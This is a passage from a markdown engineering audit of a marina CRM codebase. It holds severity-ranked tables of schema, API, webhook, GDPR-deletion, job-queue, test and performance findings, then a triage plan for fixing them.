||||
| 7 | medium | `brochureVersions` missing `unique(brochureId, versionNumber)` — unlike berth_pdf_versions | `brochures.ts:79` — concurrent uploads could assign duplicate version numbers |
|
||||
| 8 | medium | `documensoNumericId` indexed non-uniquely despite being globally unique | `documents.ts:94,152` — webhook resolver matches multiple docs for same numeric ID; double-processing |
|
||||
| 9 | low | `emailThreads.clientId` has no `onDelete` clause — defaults to RESTRICT, inconsistent with `set null` peers | `email.ts:50` |
|
||||
| 10 | low | `files.storagePath` has no unique constraint — duplicate blob paths undetected | `documents.ts:41` — migrate-storage.ts would silently double-migrate |
|
||||
| 11 | low | `brochureVersions.storageKey` + `berth_pdf_versions.storageKey` lack unique constraints | same as #10 |
|
||||
| 12 | low | `documentSends.berthPdfVersionId` has no index — full-scan for version-X queries | `brochures.ts:120` |
|
||||
| 13 | low | C.2 dedup gap: SIGNED events with `recipient_email=NULL` fall back to broken hash-only path | migration 0075 risk note: any v2 code path emitting global SIGNED without recipient context bypasses per-recipient dedup |
|
||||
| 14 | low | C.2 dedup over-eager: void-then-reinvite with same email blocks the legitimate 2nd signing | `documents.ts:230-232` — partial unique on (docId, recipientEmail, eventType) treats reinvited signing as re-delivery |
|
||||
| 15 | low | `document_sends` + `emailMessages` parallel send-audit tables with no cross-reference | future IMAP-synced sent-folder → duplicate GDPR exports |
|
||||
|
||||
### B1 — API: public (12 findings: 1 high, 3 medium, 5 low, 3 info)
|
||||
|
||||
| # | Severity | Title | Evidence |
|
||||
| --- | -------- | ------------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 1 | **high** | `portId` is caller-controlled on `/interests` — NOT validated against existing ports | `interests/route.ts:40` — caller can inject client/yacht/interest into ANY tenant they know the UUID for; residential-inquiries DOES validate |
|
||||
| 2 | medium | Health endpoint `X-Intake-Secret` comparison leaks secret byte-length via timing short-circuit | `health/route.ts:57` — length check before timingSafeEqual; website-inquiries does it right |
|
||||
| 3 | medium | `X-Forwarded-For` spoofable — rate-limit keys are attacker-controlled on all public POST routes | interests/residential/website-inquiries — no x-real-ip fallback; route-helpers `clientIp()` has it but isn't used |
|
||||
| 4 | medium | `/public/supplemental-info/[token]` has NO rate limiting on GET or POST | `supplemental-info/[token]/route.ts` — POST writes live client PII (name, address, email, phone) at unlimited rate |
|
||||
| 5 | low | Unbounded string fields in public schemas — multi-MB payloads allowed | publicInterestSchema/publicResidentialInquirySchema — no `.max()` on phone/notes/preferences; no segment bodySizeLimit |
|
||||
| 6 | low | Invalid `portId` on `/interests` causes 500 (DB FK error) not 400 | residential route has the explicit pre-check; interests doesn't |
|
||||
| 7 | low | `supplemental-info` POST uses raw `req.json()` + `.parse()` instead of `parseBody()` | malformed JSON returns 500 not field-level 400 |
|
||||
| 8 | low | `supplemental-info` GET missing `Cache-Control: no-store` — intermediaries may cache token-keyed PII payload | response includes primaryEmail/Phone/streetAddress |
|
||||
| 9 | low | Rate limiting fails open on Redis outage — silently drops public-form protection | `rate-limit.ts:57-73` — intentional for auth, equally affects public POST |
|
||||
| 10 | info | `applySubmission` distinguishes consumed vs expired token in error message | violates the conflation principle the GET path uses |
|
||||
| 11 | info | Authenticated health probe discloses `APP_URL` and `NODE_ENV` | `health/route.ts:86-93` — internal URL leak via authed probe |
|
||||
| 12 | info | `residential-inquiries` exposes internal UUIDs and uses deprecated `{success:true}` envelope | `residential-inquiries/route.ts:123` |
|
||||
|
||||
### F3 — Tests + deps + infra (15 findings: 2 critical, 3 high, 4 medium, 5 low, 1 info)
|
||||
|
||||
| # | Severity | Title | Evidence |
|
||||
| --- | ------------ | ------------------------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 1 | **CRITICAL** | `client-hard-delete.service.ts` has ZERO unit or integration tests | GDPR/CCPA-critical path just modified today; no automated regression guard |
|
||||
| 2 | **CRITICAL** | No CI/CD pipeline — `.github/workflows/` does not exist | every merge can silently break tests; the full vitest+playwright suite must be run manually |
|
||||
| 3 | high | `alert-engine-realtime.spec.ts` permanently skips a test whose route now exists | spec skip says route not implemented; route file present at `/admin/alerts/run-engine` |
|
||||
| 4 | high | `documenso-client.ts` v1/v2 routing has no dedicated unit test | every EOI + document-send path goes through it |
|
||||
| 5 | high | Coverage config excludes `src/app/` — route handlers never counted | `vitest.config.ts: coverage.include: ['src/lib/**']` — misleadingly low coverage on API surface |
|
||||
| 6 | medium | Two competing image-crop libraries in production deps | `react-easy-crop` + `react-image-crop` both live; one call site each |
|
||||
| 7 | medium | Six PDF-related packages; pdfkit (1 usage) and unpdf (1 usage) candidate for consolidation | `pdf-lib`, `pdfjs-dist`, `pdfkit`, `react-pdf`, `unpdf`, `@react-pdf/renderer` |
|
||||
| 8 | medium | CLAUDE.md lists `pdfme` as a tech-stack dep — not in package.json | removed 2026-05-12; CLAUDE.md outdated |
|
||||
| 9 | medium | `playwright.config.ts` retries hardcoded to 0, not elevated in CI | should be `process.env.CI ? 2 : 0` for flaky network-bound realapi tests |
|
||||
| 10 | low | No top-level `test` npm script — requires `pnpm exec vitest run` | DX gap; CI templates expect a `test` alias |
|
||||
| 11 | low | Missing `test:e2e:realapi` and `test:e2e:visual` shorthand scripts | inconsistency vs `test:e2e:smoke/exhaustive/destructive` |
|
||||
| 12 | low | `@hookform/devtools` devDep + `FormDevtool` wrapper component have no callers | dead code |
|
||||
| 13 | low | Dockerfile builder stage uses broad `COPY . .` — secrets rely entirely on `.dockerignore` | well-structured .dockerignore mitigates, but targeted COPY is defense-in-depth |
|
||||
| 14 | low | Large cluster of high-value services have no unit tests at all | interest-berths, portal-auth, alert-engine, berth-rules-engine, documenso-webhook, document-reminders, external-eoi, residential, document-sends, notifications, webhooks (~50 services) |
|
||||
| 15 | info | Exhaustive e2e tests use `test.skip(true, ...)` as soft guards when fixtures absent | intentional graceful-degrade pattern; not a bug |
|
||||
|
||||
### C3 — Observability + infra (10 findings: 2 high, 1 medium, 5 low, 2 info)
|
||||
|
||||
| # | Severity | Title | Evidence |
|
||||
| --- | -------- | ------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 1 | **high** | GDPR export bundles NOT deleted from storage on client hard-delete | `gdpr.ts:35` storageKey + `client-hard-delete.service.ts:241-244` — files.clientId collected, gdprExports.storageKey never queried; cascade kills DB row but blob orphans. **This is a gap in the A.7 RTBF fix shipped today.** |
|
||||
| 2 | **high** | NO RTBF/hard-delete path for `residential_clients` | residential.ts schema holds equivalent PII to marina clients; zero hard-delete code path — no confirmation flow, no blob sweep, no audit, no API endpoint |
|
||||
| 3 | medium | `sentTo` key bypasses audit masker — operator email stored plaintext in audit_logs.metadata | `client-hard-delete.service.ts:139,466` — `sent_to` doesn't contain 'email' substring. Fix: add 'sent_to' fragment, or rename to `sentToEmail` |
|
||||
| 4 | low | S3Backend `presignUpload`/`presignDownload` lack `withTimeout` wrappers | `s3.ts:289-297` — every other method (put/get/head/delete) is wrapped; presigns aren't. TCP-blackhole stall risk |
|
||||
| 5 | low | `error_events.errorMessage` and `errorStack` stored without PII redaction | error-events.service.ts:143-145 — ORM errors embedding WHERE-clause values persist as PII |
|
||||
| 6 | low | `'auth'` fragment over-masks: `authorId`, `isAuthenticated`, etc. | `audit.ts:125` — `'auth'` is too broad; should be `'authorization'` or use prefix match |
|
||||
| 7 | low | RTBF `website_submissions` erasure only matches top-level JSONB `email` key | `client-hard-delete.service.ts:221-224` — nested email payloads (`payload.contact.email`) survive |
|
||||
| 8 | low | `hardDeleteCode` rate limiter fails open + `Math.random()` 4-digit code | combined attack surface during Redis outage; switch to `crypto.randomInt()` regardless |
|
||||
| 9 | info | `bulkHardDeleteClients` emits no composite audit log for the bulk action itself | forensic correlation requires grouping N rows by timestamp; one bulk-level log entry would fix it |
|
||||
| 10 | info | `requestBulkHardDeleteCode` loads ALL port clients into memory for validation | `client-hard-delete.service.ts:408-419` — should `WHERE id IN (args.clientIds)` |
|
||||
|
||||
### B4 — Webhooks + auth + storage (15 findings: 1 high, 6 medium, 5 low, 3 info)
|
||||
|
||||
| # | Severity | Title | Evidence |
|
||||
| --- | -------- | ------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 1 | **high** | better-auth rate limiter uses in-memory storage — multi-replica prod bypasses limits | `auth/index.ts:128-137` — N replicas multiplies attempt budget N×; documented as known. Swap to `storage: database` |
|
||||
| 2 | medium | DOCUMENT_SIGNED route-level dedup hash never matches stored events — every retry re-enters handler | `webhooks/documenso/route.ts:173 vs documents.service.ts:1184` — raw-body SHA vs prefixed-form hash, never matches; dedup intent broken |
|
||||
| 3 | medium | Concurrent SIGNED webhooks both see `wasAlreadySigned=false`, both dispatch cascade invites | `documents.service.ts:1130-1131,1196-1208` — read outside tx; handleDocumentCompleted has correct SELECT FOR UPDATE pattern but handleRecipientSigned doesn't |
|
||||
| 4 | medium | Rate limiter fails open on Redis outage — auth brute-force protection disabled | `rate-limit.ts:57-73` — intentional; consider fail-closed + admin-IP allowlist escape hatch |
|
||||
| 5 | medium | `callbackURL` forwarded to better-auth without origin validation in sign-in-by-identifier | `auth/sign-in-by-identifier/route.ts:63-96` — potential open redirect post-auth |
|
||||
| 6 | medium | `originAllowed()` returns true when both Origin AND Referer absent — non-browser CSRF check bypassed | `proxy.ts:118-136` — SameSite=Strict is the real gate but defense-in-depth has a hole |
|
||||
| 7 | medium | Legacy plaintext Documenso webhook secrets may persist in `system_settings` — no migration enforcement | `port-config.ts:469-472` — ports that never rotated retain cleartext |
|
||||
| 8 | low | Storage proxy token `p` port-binding field is optional — tokens without `p` skip cross-port enforcement | `filesystem.ts:184-188,95-111` — future callers that omit portSlug mint cross-port tokens |
|
||||
| 9 | low | Storage proxy PUT magic-byte check is application/pdf only — other content types accepted blind | `api/storage/[token]/route.ts:222-225` — png/jpg/csv/zip not inspected |
|
||||
| 10 | low | Dev HMAC fallback derives storage proxy secret from `BETTER_AUTH_SECRET` — shared key in dev | `filesystem.ts:430-432` — prod rejects but dev exposed→internet could forge tokens with auth key |
|
||||
| 11 | low | CSP policy has no `report-uri`/`report-to` — XSS probes blocked silently | `proxy.ts:16-37` — adding `/api/csp-report` would give early-warning |
|
||||
| 12 | low | sign-in-by-identifier timing oracle: email-format skips DB; username-format always hits DB | very low practical impact; doesn't reveal whether identifier exists |
|
||||
| 13 | info | better-auth's built-in rate limiter doesn't add `Retry-After` on 429 | direct `/api/auth/sign-in/email` lacks RFC 6585 compliance; sign-in-by-identifier wrapper has it |
|
||||
| 14 | info | Session cookie lacks `__Host-` prefix — subdomain binding not enforced | `auth/index.ts:106` — SameSite=Strict+Secure mitigate; `__Host-` would forbid Path other than `/` |
|
||||
| 15 | info | `listDocumensoWebhookSecrets()` issues full DB SELECT on every webhook with no cache | `port-config.ts:456-501` — amplifies bad-secret flood scenario; short TTL cache fixes |
|
||||
|
||||
### C1 — EOI/Documenso services (15 findings: 3 high, 5 medium, 4 low, 3 info)
|
||||
|
||||
| # | Severity | Title | Evidence |
|
||||
| --- | -------- | ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------- |
|
||||
| 1 | **high** | `generateAndSignViaInApp` omits `portId` on all Documenso calls — per-port v1/v2 config bypassed | `document-templates.ts:705,717` — portId optional → env fallback; v2-configured port uses v1 env defaults |
|
||||
| 2 | **high** | custom-document-upload: `placeFields` called AFTER `documensoSend` — v2 envelope already PENDING when fields placed | `custom-document-upload.service.ts:285,294,323` — header comment documents correct order; code inverts. v2 may reject; all v2 contract/reservation uploads land with no signature fields |
|
||||
| 3 | **high** | `{{eoi.berthRange}}` and all `{{reservation.*}}` tokens in VALID_MERGE_TOKENS but resolveTemplate never populates them | merge-fields.ts:64-76 + document-templates.ts — tokens render as literal `{{...}}`; BR-140 doesn't catch because required:false |
|
||||
| 4 | medium | `sendReminder` passes CRM document_signers.id (UUID) as Documenso recipient ID — v1 path sends invalid URL, v2 redistributes blindly | `document-reminders.ts:161` + `documenso-client.ts:910` — v1 reminders consistently fail with 404; schema missing `documenso_recipient_id` column |
|
||||
| 5 | medium | `custom-document-upload` does not persist `documensoNumericId` — v2 webhook numeric-id resolution can't match | `custom-document-upload.service.ts:345` — contract/reservation uploads on v2 instance miss webhook events |
|
||||
| 6 | medium | `generateDocumentFromTemplate` v2: distribute failure swallowed — all signer rows get signingUrl=null with no auto-recovery | `documenso-client.ts:554-560` + `document-templates.ts:843-884` — "Send invitation" button errors for every signer |
|
||||
| 7 | medium | `handleDocumentCompleted`: interest side-effects (dateEoiSigned, berth-rules) run outside try/catch and are not idempotent across retries | `documents.service.ts:1574-1621` — each failed-PDF retry re-stamps dateEoiSigned |
|
||||
| 8 | medium | `distributeEnvelopeV2` normalize call loses numericId — self-heal callers can't persist | `documenso-client.ts:618-623` — pattern from generateDocumentFromTemplate not followed |
|
||||
| 9 | low | `voidDocument` uses raw fetchWithTimeout without pRetry — transient 5xx/429 not retried | `documenso-client.ts:1289` |
|
||||
| 10 | low | `completion_cc_emails` recipients have empty name — signing-completed email greeting malformed | `documents.service.ts:1722` — "Dear ," fallback; should be email as display name |
|
||||
| 11 | low | `normalizeSignerRole` maps developer slot (order-2 SIGNER) to 'signer' not 'developer' — progress panel label wrong | `document-templates.ts:863-865,930-935` |
|
||||
| 12 | low | `persistDocumentOverrides` source_document_id backfill uses 1-minute window — race if generation takes >60s | `eoi-overrides.service.ts:451,463,471` — widen to 5min or backfill by returned IDs |
|
||||
| 13 | info | `resolveTemplate` ValidationError catch regex includes dead branch 'interest has no (yacht | berth)' | `document-templates.ts:317-322` — dead from prior design; remove for clarity |
|
||||
| 14 | info | berth-range: non-canonical (passthrough) moorings always appended after sorted canonical segments | `berth-range.ts:105-108` — cosmetic |
|
||||
| 15 | info | `{{interest.notes}}` always empty in non-EOI (legacy) resolveTemplate path | `document-templates.ts:378` — silent blank in correspondence templates |
|
||||
|
||||
### C2 — Domain services (15 findings: 1 high, 3 medium, 6 low, 5 info)
|
||||
|
||||
| # | Severity | Title | Evidence |
|
||||
| --- | -------- | ---------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 1 | **high** | Recommender: SQL vs JS stage-scale mismatch — Tier D fires one stage too early | `berth-recommender.service.ts:212,499-502,223,554` — JS LATE_STAGE_THRESHOLD=5 (deposit_paid in JS scale) vs SQL emits 5=reservation. Tier D fires at reservation, not deposit_paid. Berths with reservation-stage active interest hidden one stage early. |
|
||||
| 2 | medium | `createNotification` dedup is non-atomic SELECT-then-INSERT with no DB unique constraint (TOCTOU) | `notifications.service.ts:67-85,117` — concurrent inquiry fan-out can double-insert. Fix: partial unique on `(userId, type, dedupeKey)` + ON CONFLICT DO NOTHING |
|
||||
| 3 | medium | `completeReminder` TOCTOU — concurrent calls both pass status guard, produce dup audit rows | `reminders.service.ts:317-332` — no `WHERE status='pending'` in UPDATE; no advisory lock |
|
||||
| 4 | medium | `processFollowUpReminders` lacks advisory lock — concurrent workers double-insert auto-generated reminders | `reminders.service.ts:428-517` — 3 non-tx round-trips; `processOverdueReminders` has the right pattern, this one doesn't |
|
||||
| 5 | low | `createNotification` with inApp=false + email=true silently drops the email | `notifications.service.ts:107-113` — acknowledged in comment but untracked gap |
|
||||
| 6 | low | `public-interest` creates interest with legacy `pipelineStage='open'` instead of `'enquiry'` | `public-interest.service.ts:233` — modern stage is `enquiry`; column default agrees |
|
||||
| 7 | low | `public-interest` berth lookup outside transaction — FK violation on race-deleted berth | `public-interest.service.ts:79-87,237-244` |
|
||||
| 8 | low | `public-interest` no yacht dedup — re-submissions create duplicate yacht records | `public-interest.service.ts:177-203` — client + company dedup'd; yacht isn't |
|
||||
| 9 | low | `inquiry-notifications.findUsersWithInterestsPermission` has no deactivated-user filter | `inquiry-notifications.service.ts:149-168` — deactivated users still receive new_registration alerts |
|
||||
| 10 | low | Rules engine suggest-mode unconditionally calls `createAuditLog` — audit flood on webhook retries | `berth-rules-engine.ts:102-117,201-207` |
|
||||
| 11 | low | interest-berths cross-port guard silently passes when interestId doesn't exist | `interest-berths.service.ts:232-244` — should throw NotFoundError explicitly |
|
||||
| 12 | info | `processOverdueReminders` un-snooze + claim are two non-tx UPDATEs — survivable, no fix required | at-least-once semantics |
|
||||
| 13 | info | Dynamic import in `removeInterestBerth` is still required (cycle break) | `interest-berths.service.ts:356-361` — not stale |
|
||||
| 14 | info | Inconsistent `evaluateRule` import style — static vs dynamic across files | maintenance hazard; documenting needed |
|
||||
| 15 | info | `STAGE_ORDER.completed=6` in recommender JS is dead code — SQL CASE never emits 'completed' | misleads maintainers |
|
||||
|
||||
### D1 — Jobs/queue/cron (8 findings: 3 critical, 1 high, 2 medium, 2 low)
|
||||
|
||||
| # | Severity | Title | Evidence |
|
||||
| --- | ------------ | -------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 1 | **CRITICAL** | `send-invoice` + `invoice-overdue-notify` dispatched to queues WITH NO WORKER HANDLER | `invoices.ts:597-600,740-743` — both fall to default branch, log "Unknown … job", complete successfully. **Every invoice send AND every overdue check is a silent no-op.** |
|
||||
| 2 | **CRITICAL** | 5 maintenance cron jobs scheduled but unimplemented — silent no-ops with false-green audit | scheduler.ts: `calendar-sync`, `database-backup`, `backup-cleanup`, `session-cleanup`, `temp-file-cleanup` — workers/maintenance.ts has no case for any. **database-backup is the dangerous one.** RECURRING_JOB_NAMES contains them so audit shows green. |
|
||||
| 3 | **CRITICAL** | `tenure-expiry-check` scheduled, in RECURRING_JOB_NAMES, but has no handler and no service | scheduler.ts:32 — daily 08:00 schedule; workers/notifications.ts no case; no `tenure-expiry` service exists |
|
||||
| 4 | high | `processDocumensoPoll` TOCTOU race — concurrent ticks can double-fire cascading invite email | `jobs/processors/documenso-poll.ts:46-47` — wasAlreadySigned read outside tx; documents queue concurrency=3 with 5-min poll → overlapping ticks plausible |
|
||||
| 5 | medium | `documenso-void` enqueued without natural-key jobId at both archive call sites | `clients/[id]/archive/route.ts:95`, `clients/bulk/route.ts:180` — double-archive enqueues two void jobs; second hits already-voided envelope → spurious dead-letter |
|
||||
| 6 | medium | `report-scheduler` `nextRunAt` UPDATE not transactional with job enqueue — crash silently drops a period | workers/reports.ts — 3 separate round-trips; crash between A and C skips the period |
|
||||
| 7 | low | `bounce-poll` absent from RECURRING_JOB_NAMES — no cron_run audit row on successful ticks | audit-helpers.ts:27-49 — operators can't detect stalled poller via audit log |
|
||||
| 8 | low | maintenance queue concurrency=1 with HOL-blocking risk | analytics-refresh + bounce-poll can starve alerts-evaluate (every 5min) — split into fast/slow queues |
|
||||
|
||||
### F2 — Performance (8 findings: 3 high, 5 medium)
|
||||
|
||||
| # | Severity | Title | Evidence |
|
||||
| --- | -------- | --------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 1 | **high** | `getClientById`: 6 independent DB queries run SEQUENTIALLY on hot client detail path | `clients.service.ts:358,363,368,374,392,415` — 7 serial round-trips per page load; should be `Promise.all([...6])` after gating client lookup |
|
||||
| 2 | **high** | `notification-digest`: nested port×user loops → O(ports × users) sequential queries + emails | `notification-digest.service.ts:71,74,109,113` — per port: 6+ queries; per user: 1 query + 1 send, all serial. Ports + users are independent |
|
||||
| 3 | **high** | Missing index on `interests.reminder_enabled` — `processFollowUpReminders` full-scans active interests per port | `reminders.service.ts:432-441` — no existing index covers `(portId, reminderEnabled) WHERE archived_at IS NULL` |
|
||||
| 4 | medium | `reconcileAlertsForPort`: N individual INSERTs + N UPDATEs per alert-engine evaluation | `alerts.service.ts:53-80,89-99` — batch INSERT ... ON CONFLICT DO NOTHING RETURNING; UPDATE WHERE id IN (...) |
|
||||
| 5 | medium | `client-archive-dossier`: N DB queries inside loop over `distinctBerthIds` | `client-archive-dossier.service.ts:244,252` — single query WHERE berthId IN (...) + JS group |
|
||||
| 6 | medium | `email_threads`: no compound `(portId, lastMessageAt)` index — list endpoint forces filesort | `email.ts:57` — only `idx_et_port` covers portId; sort step grows with thread volume |
|
||||
| 7 | medium | `createPending` (berth-reservations): 3 independent tenant-validation lookups serial | `berth-reservations.service.ts:95,100,105` — berth/client/yacht should be `Promise.all` |
|
||||
| 8 | medium | `webhook-dispatch`: sequential INSERT + BullMQ enqueue per matching webhook | `webhook-dispatch.ts:47-75` — batch the inserts (RETURNING id), then Promise.all the queue.adds |
|
||||
|
||||
### A1 — Schema: people/orgs (audited inline; agent stuck) (12 findings: 1 high, 6 medium, 5 low)
|
||||
|
||||
| # | Severity | Title | Evidence |
|
||||
| --- | -------- | --------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 1 | **high** | `yachts.currentOwnerType`/`currentOwnerId` polymorphic — NO CHECK constraint on the type discriminator | `yachts.ts:44-45` — `currentOwnerType` is bare text; a value other than `'client'`/`'company'` silently corrupts ownership resolution downstream |
|
||||
| 2 | medium | `clients.mergedIntoClientId` self-FK lives in migration 0042 only — `db:push` drift (same pattern as A3 #5) | `clients.ts:53-58` — Drizzle's table builder doesn't accept self-references in column factory; constraint missing from db:push schema |
|
||||
| 3 | medium | `clients.sourceInquiryId` FK lives in migration 0065 only — `db:push` drift | `clients.ts:33-38` — comment acknowledges the gap; fresh db:push skips it |
|
||||
| 4 | medium | `clientAddresses.label='Primary' default` + `isPrimary=true default` conflicts | `clients.ts:250,258` — every new address is "primary" by default; partial unique `idx_ca_primary` then rejects the second. Either flip the default or fail less surprising |
|
||||
| 5 | medium | No DB CHECK on `clients.preferredContactMethod` enum (email/phone/whatsapp) | `clients.ts:27` |
|
||||
| 6 | medium | No DB CHECK on `yachts.status` enum (active/retired/sold_away) | `yachts.ts:46` |
|
||||
| 7 | medium | `companyMemberships.role` no DB CHECK on enum (director/officer/broker/representative/legal_counsel/employee/shareholder/other) | `companies.ts:65` |
|
||||
| 8 | low | `clientNotes.authorId`, `yachtNotes.authorId`, `companyNotes.authorId` all bare text — no FK to user | `clients.ts:149`, `yachts.ts:107`, `companies.ts:126` — dangling on hard user delete |
|
||||
| 9 | low | `clients.archivedBy` bare text — no FK to user; same dangling-on-delete pattern | `clients.ts:41` |
|
||||
| 10 | low | `clientTags.tagId`, `yachtTags.tagId`, `companyTags.tagId` — bare text, comment-only FK to tags | `clients.ts:165`, `yachts.ts:123`, `companies.ts:142` — same gap as A2 #7 for pipeline tables |
|
||||
| 11 | low | `yachtOwnershipHistory` has no DB-level guard that `startDate ≤ endDate` | `yachts.ts:83-84` — date inversion possible without CHECK |
|
||||
| 12 | low | `yachts.lengthFt`/`lengthM`/`lengthUnit` denormalized triple — no DB-level invariant that lengthUnit aligns with which of (lengthFt, lengthM) is non-null | `yachts.ts:32-43` — service layer can write `lengthUnit='ft'` while `lengthFt=null`; produces broken display |
|
||||
|
||||
### F1 — Cross-cut: security (audited inline; agent stuck) (4 findings: 1 medium, 3 low)
|
||||
|
||||
The cross-cutting security audit is partly redundant with B1/B4/C3 findings already reported. Only NEW issues here:
|
||||
|
||||
| # | Severity | Title | Evidence |
|
||||
| --- | -------- | -------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 1 | medium | `send-document-dialog.tsx` lines 248 + 274 use `dangerouslySetInnerHTML` for previewHtml — verify `renderEmailBody()` allowlist sanitization | `send-document-dialog.tsx:248,274` — flows from API; `renderEmailBody` documented escape-then-allowlist, but the dialog's preview path needs explicit audit to confirm no untrusted HTML leaks |
|
||||
| 2 | low | Many `findFirst` queries in services without explicit `port_id` filter — depends on FK chain | examples: `notes.service.ts:767`, `email-threads.service.ts:68,101,106,144,177,255` — defense-in-depth gap; FK joins enforce isolation but a direct call from a route bypassing service wrappers could leak |
|
||||
| 3 | low | 136 raw `sql\`\`` template literals in services — manual review-worthy for SQLi | full sweep not done; spot-checks at known sites (berth-recommender, search) use parameterized `${}` interpolation via Drizzle |
|
||||
| 4 | info | Most other security surfaces already covered by B1/B4/C3 reports above | see `cross-references` |
|
||||
|
||||
### B3 — v1 entity CRUD (audited inline; agent stuck) (3 findings, structurally clean)
|
||||
|
||||
Spot-check across 303 v1 route files: **structurally healthy.** Sample at `/api/v1/clients/route.ts` is exactly the documented pattern — `withAuth(withPermission(resource, action, async (req, ctx) => { try { parseBody/parseQuery + service call; return {data}; } catch (error) { return errorResponse(error); } }))`. No bare route handlers found.
|
||||
|
||||
| # | Severity | Title | Evidence |
|
||||
| --- | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------- |
|
||||
| 1 | low | `handlers.ts` sibling pattern means grep for missing withAuth needs to skip them | not a finding per se, just a noting that the testability split documented in CLAUDE.md is honored |
|
||||
| 2 | low | Pagination shape on `/api/v1/clients` returns `{data, pagination: {...}}` but list endpoints elsewhere return `{data, total, hasMore}` (CLAUDE.md convention) | `clients/route.ts:18-28` — minor shape drift; not breaking but lists aren't uniform |
|
||||
| 3 | info | Most B3 quality findings already covered by B1 (port validation), C2 (race + dedup), C3 (audit gaps) | this scope was already well-covered |
|
||||
|
||||
### E1 — Admin UI (agent stuck; not audited)
|
||||
|
||||
The admin-ui agent went idle 4 times across multiple pings. The most likely interpretation is that the surface is large enough that even Sonnet 1M's context was filled before a useful answer landed. **E1 should be re-spawned with a much narrower scope (one page at a time) or audited inline in a follow-up pass.**
|
||||
|
||||
### E2 — Entity UI (agent stuck; not audited)
|
||||
|
||||
Same pattern as E1. Entity-tab UI surface across 5 entity types is large; the agent didn't complete. **Re-spawn with narrower scope (one entity-detail page per agent) or defer.**
|
||||
|
||||
---
|
||||
|
||||
## Triage + recommended order of operations
|
||||
|
||||
After 13 reported audits + 2 inline (A1, F1, B3 sketch), here are the items that should ship before the next deploy, grouped by impact and effort.
|
||||
|
||||
### 🚨 Tier S — ship-stopping production bugs (do today)
|
||||
|
||||
These are silently broken in production right now. Fix before any further work.
|
||||
|
||||
| Source | Item | Effort |
|
||||
| --------- | -------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------- |
|
||||
| **D1 #1** | `send-invoice` and `invoice-overdue-notify` BullMQ jobs have no handler → every invoice send is a no-op | 1-2h: add the cases to workers/email.ts and workers/notifications.ts |
|
||||
| **D1 #2** | 5 maintenance cron jobs (calendar-sync, database-backup, backup-cleanup, session-cleanup, temp-file-cleanup) silently no-op with false-green audit | 2-3h each; **database-backup is the dangerous one** — implement or remove the schedule |
|
||||
| **D1 #3** | `tenure-expiry-check` cron silently no-ops; service was never written | 2-3h: write the service + handler |
|
||||
| **C3 #1** | A.7 RTBF gap: `gdpr_exports.storage_key` blobs NOT deleted on client hard-delete (this is a gap in code shipped today) | 30min: extend `client-hard-delete.service.ts` to collect gdprExports.storageKey alongside files |
|
||||
| **C3 #2** | No RTBF/hard-delete path for `residential_clients` — full PII shadow | 4h: mirror the marina hard-delete service for residentialClients |
|
||||
| **B1 #1** | `/api/public/interests` does NOT validate caller-supplied `portId` against existing ports — cross-tenant data injection | 30min: copy the residential-inquiries pre-check |
|
||||
| **A3 #1** | `documents.documenso_id` has NO index — every webhook delivery is a full table scan | 30min: migration adding index |
|
||||
|
||||
### 🔴 Tier 1 — high severity, prioritize this week
|
||||
|
||||
| Source | Item | Effort |
|
||||
| ------------------ | ----------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------- |
|
||||
| **B4 #1** | better-auth rate limiter is in-memory; multi-replica prod multiplies auth limits N× | 2h: switch to `storage: 'database'` after running its migration |
|
||||
| **C1 #1** | `generateAndSignViaInApp` omits portId on Documenso calls → v2-configured port silently uses v1 env defaults for every in-app EOI | 30min: thread portId through 2 calls |
|
||||
| **C1 #2** | custom-document-upload calls `placeFields` AFTER `documensoSend` (wrong order) — v2 may reject placement on PENDING envelope | 30min: reorder |
|
||||
| **C1 #3** | `{{eoi.berthRange}}` + all 5 `{{reservation.*}}` tokens valid but unresolved — render as literal `{{...}}` | 2h: populate from EoiContext.eoiBerthRange + add reservation resolver |
|
||||
| **C2 #1** | Recommender SQL vs JS stage-scale mismatch — Tier D fires at reservation, not deposit_paid | 30min: change LATE_STAGE_THRESHOLD=6 to match SQL scale |
|
||||
| **F2 #1-3** | 3 high-impact perf: getClientById serial queries, notification-digest sequential loops, missing index on interests.reminder_enabled | 4h total |
|
||||
| **F3 #1-2** | client-hard-delete has zero tests; no CI/CD pipeline | 4h: integration tests for the RTBF flow; add `.github/workflows/ci.yml` |
|
||||
| **A2 #1-3, A1 #1** | Missing DB-level CHECK constraints on every enum-shaped text column | 2h: one consolidated migration |
|
||||
|
||||
### 🟠 Tier 2 — medium severity (next sprint)
|
||||
|
||||
Covers the bulk of remaining medium findings — too many to expand inline; see per-agent tables above. Highlights: drift between schema and migrations (A3 #4-5, A1 #2-3), idempotency gaps in webhook handlers (B4 #2-3, C1 #7, D1 #4), audit/IP/UA gaps in admin mutations (B2 #7-10), and the camelCase-key over-masking false-positive on `'auth'` fragment (C3 #6).
|
||||
|
||||
### 🟡 Tier 3 — low severity (rolling)
|
||||
|
||||
Index optimizations, validation tightening, schema metadata gaps, log cleanup. The detailed tables per agent above carry the per-item file:line evidence.
|
||||
|
||||
### 📋 Tier 4 — re-spawn or inline-audit
|
||||
|
||||
